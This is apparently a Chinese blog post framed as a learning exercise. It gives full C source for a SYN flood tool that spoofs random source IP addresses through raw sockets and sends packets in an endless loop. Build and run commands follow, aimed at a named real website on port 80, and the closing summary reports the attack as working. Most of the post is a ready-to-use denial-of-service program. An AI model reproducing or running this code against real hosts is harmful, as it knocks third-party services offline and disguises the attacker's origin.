DDOS攻击实现及学习
目录:
1、背景:
- 学习并实现DDOS攻击,深入了解TCP/IP,UDP/IP的底层结构。
2、实验环境:
- Ubuntu 15.10
- c/c++
3、源码:
ddos.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <error.h>
#include<netdb.h>
//ip首部长度
#define IP_HEADER_LEN sizeof(struct ip)
//tcp首部长度
#define TCP_HEADER_LEN sizeof(struct tcphdr)
//ip首部+tcp首部长度
#define IP_TCP_HEADER_LEN IP_HEADER_LEN+TCP_HEADER_LEN
//本地端口
#define LOCALPORT 8888
void err_exit(const char *err_msg) {
perror(err_msg);
exit(1);
}
//填充ip首部
struct ip *fill_ip_header(int ip_packet_len) {
struct ip *ip_header;
ip_header = (struct ip *) malloc(IP_HEADER_LEN);
ip_header->ip_v = IPVERSION;
ip_header->ip_hl = sizeof(struct ip) / 4;
ip_header->ip_tos = 0;
ip_header->ip_len = htons(ip_packet_len);
ip_header->ip_id = 0;
ip_header->ip_off = 0;
ip_header->ip_ttl = MAXTTL;
ip_header->ip_p = IPPROTO_TCP;
ip_header->ip_sum = 0;
return ip_header;
}
//填充tcp首部
struct tcphdr *fill_tcp_header(int dst_port) {
struct tcphdr *tcp_header;
tcp_header = (struct tcphdr *) malloc(TCP_HEADER_LEN);
tcp_header->source = htons(LOCALPORT);
tcp_header->dest = htons(dst_port);
tcp_header->doff = 5;
tcp_header->syn = 1;
tcp_header->seq = random();
tcp_header->ack_seq = 0;
tcp_header->check = 0;
return tcp_header;
}
//发送ip_tcp报文
void ip_tcp_send(const char *dst_ip, int dst_port, int sockfd) {
struct ip *ip_header;
struct tcphdr *tcp_header;
struct sockaddr_in dst_addr;
struct hostent *host;
socklen_t sock_addrlen = sizeof(struct sockaddr_in);
int ip_packet_len = IP_TCP_HEADER_LEN;
char buf[ip_packet_len];
host=gethostbyname(dst_ip);
bzero(&dst_addr, sock_addrlen);
dst_addr.sin_family = PF_INET;
dst_addr.sin_addr= *(struct in_addr *)(host->h_addr_list[0]); ;
dst_addr.sin_port = htons(dst_port);
// ip首部
ip_header = fill_ip_header(ip_packet_len);
ip_header->ip_dst=dst_addr.sin_addr;
// tcp首部
tcp_header = fill_tcp_header(dst_port);
bzero(buf, ip_packet_len);
memcpy(buf, ip_header, IP_HEADER_LEN);
memcpy(buf + IP_HEADER_LEN, tcp_header, TCP_HEADER_LEN);
printf("DDOS attack start..........\n");
// 发送报文
while (1) {
ip_header->ip_src.s_addr = random();
sendto(sockfd, buf, ip_packet_len, 0, (struct sockaddr *) &dst_addr,
sock_addrlen);
}
}
int main(int argc, const char *argv[]) {
if(argc < 2)
{
printf("usage:%s hostname/ip dst_port [src_port]", argv[0]);
exit(1);
}
int sockfd, on = 1;
// 创建tcp原始套接字
if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
err_exit("socket()");
else
printf("socket create success!!!\n");
// 开启IP_HDRINCL,自定义IP首部
if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1)
err_exit("setsockopt()");
else
printf("set socket option success\n");
printf("starting attack..............\n");
setuid(getpid());
ip_tcp_send(argv[1], atoi(argv[2]), sockfd);
close(sockfd);
return 0;
}
4、使用方法:
1、编译链接源码:gcc -W -Wall ddos.c -o ddos
2、攻击:sudo ./ddos www.hwadee.com 80
5、实验效果:
1、正常时的访问时间
2、DDOS攻击中的访问时间
6、实验总结:
开始是参考IP/TCP发送程序写的,但是发现没效,目前只能认为原因是每次发送都新建一个socket。后来改成同一个socket,通过每次循环改变源IP再发送就有效了。具体原因尚未清楚,有待以后详细研究。
DDOS会发送大量数据包,大量数据包在网络链路上,可能会引起网络拥塞。网络拥塞也可以引起无法访问或访问时间过长的问题。但是经过试验证明,网络拥塞只是微乎其微的影响,完全可以忽略不计。
总体来说,DDOS攻击还是成功的,有时间再深究socket和IP/TCP的东西了。